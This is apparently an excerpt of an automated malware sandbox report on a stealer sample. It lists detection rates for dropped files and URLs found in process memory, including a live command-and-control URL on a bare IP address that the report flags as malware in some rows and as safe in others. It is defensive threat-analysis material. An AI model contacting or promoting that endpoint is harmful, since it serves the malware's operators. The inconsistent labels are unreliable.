C:\Users\user\Desktop\NjoTfhRh.log	21%	ReversingLabs
C:\Users\user\Desktop\OpmblTzY.log	25%	ReversingLabs
C:\Users\user\Desktop\PmOjGTOT.log	8%	ReversingLabs
C:\Users\user\Desktop\ThTkHCsg.log	17%	ReversingLabs
C:\Users\user\Desktop\UiPBOzEN.log	9%	ReversingLabs
C:\Users\user\Desktop\WghbylMW.log	29%	ReversingLabs
C:\Users\user\Desktop\WkCjjiJI.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\YHzZGaLE.log	16%	ReversingLabs
C:\Users\user\Desktop\ZVhzqwUB.log	21%	ReversingLabs
C:\Users\user\Desktop\bCsHMMhI.log	5%	ReversingLabs
C:\Users\user\Desktop\bKbarvIN.log	3%	ReversingLabs
C:\Users\user\Desktop\bOwictFz.log	12%	ReversingLabs
C:\Users\user\Desktop\dQjRxcKu.log	17%	ReversingLabs
C:\Users\user\Desktop\evHqyJTG.log	8%	ReversingLabs
C:\Users\user\Desktop\fJpQiebD.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\fsiyTJhB.log	25%	ReversingLabs
C:\Users\user\Desktop\gBOhFpUn.log	8%	ReversingLabs
C:\Users\user\Desktop\gTVzTLOq.log	8%	ReversingLabs
C:\Users\user\Desktop\hlxhFGTz.log	16%	ReversingLabs
C:\Users\user\Desktop\hvVhpsmw.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\kGnywIde.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\kokPbpXu.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\lpgghmkb.log	3%	ReversingLabs
C:\Users\user\Desktop\ojlgiVNo.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\rURxpiYh.log	25%	ReversingLabs
C:\Users\user\Desktop\rlYPDESj.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\sizXZEhe.log	8%	ReversingLabs
C:\Users\user\Desktop\smUfKBeQ.log	5%	ReversingLabs
C:\Users\user\Desktop\uXAwROpJ.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\ucOGKASd.log	9%	ReversingLabs
C:\Users\user\Desktop\upHOgkjL.log	17%	ReversingLabs
C:\Users\user\Desktop\vOcwhcWM.log	25%	ReversingLabs
C:\Users\user\Desktop\wRGvCRHS.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\yOqmYLpC.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\yfxFnhjF.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\zPgEnxiR.log	9%	ReversingLabs
C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe	58%	ReversingLabs	Win32.Trojan.PureLogStealer

Source	Detection	Scanner	Label
http://osoft.co	0%	Avira URL Cloud	safe
http://86.110.H	0%	Avira URL Cloud	safe
https://.AppV.	0%	Avira URL Cloud	safe
https://.VisualChJ	0%	Avira URL Cloud	safe
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/	0%	Avira URL Cloud	safe
https://ion=v4.5	0%	Avira URL Cloud	safe
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php	100%	Avira URL Cloud	malware
http://86.110.194.28	0%	Avira URL Cloud	safe
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWind	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	CnkpnRA30S.16.dr	false		high
http://www.fontbureau.com/designersG	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 00000006.00000002.2686287270.000001B3CF4E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	false		high
http://osoft.co	powershell.exe, 00000002.00000002.2761967593.00000216DBC9B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://.AppV.	powershell.exe, 00000004.00000002.2666366743.000001BC5C686000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	false		high
http://www.goodfont.co.kr	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://86.110.194.28	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000013.00000003.1888731099.000002338B40E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://86.110.194.28/Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2432122684.0000018810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2513838986.00000216D37C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2455692348.000001BC542E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2468488200.000001B3C70E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	lEwK4xROgV.exe, 00000000.00000002.1722507497.000000000317F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1831369423.0000018800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3751000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438221000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://86.110.H	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000038A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://.VisualChJ	powershell.exe, 00000008.00000002.2754710912.000001C45064F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2432122684.0000018810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2513838986.00000216D37C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2455692348.000001BC542E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2468488200.000001B3C70E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3135016562.000000001FB62000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1831369423.0000018800228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1839662361.00000216C3978000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1841383030.000001BC44498000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1844407987.000001B3B7299000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000001.00000002.2681283763.0000018873396000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 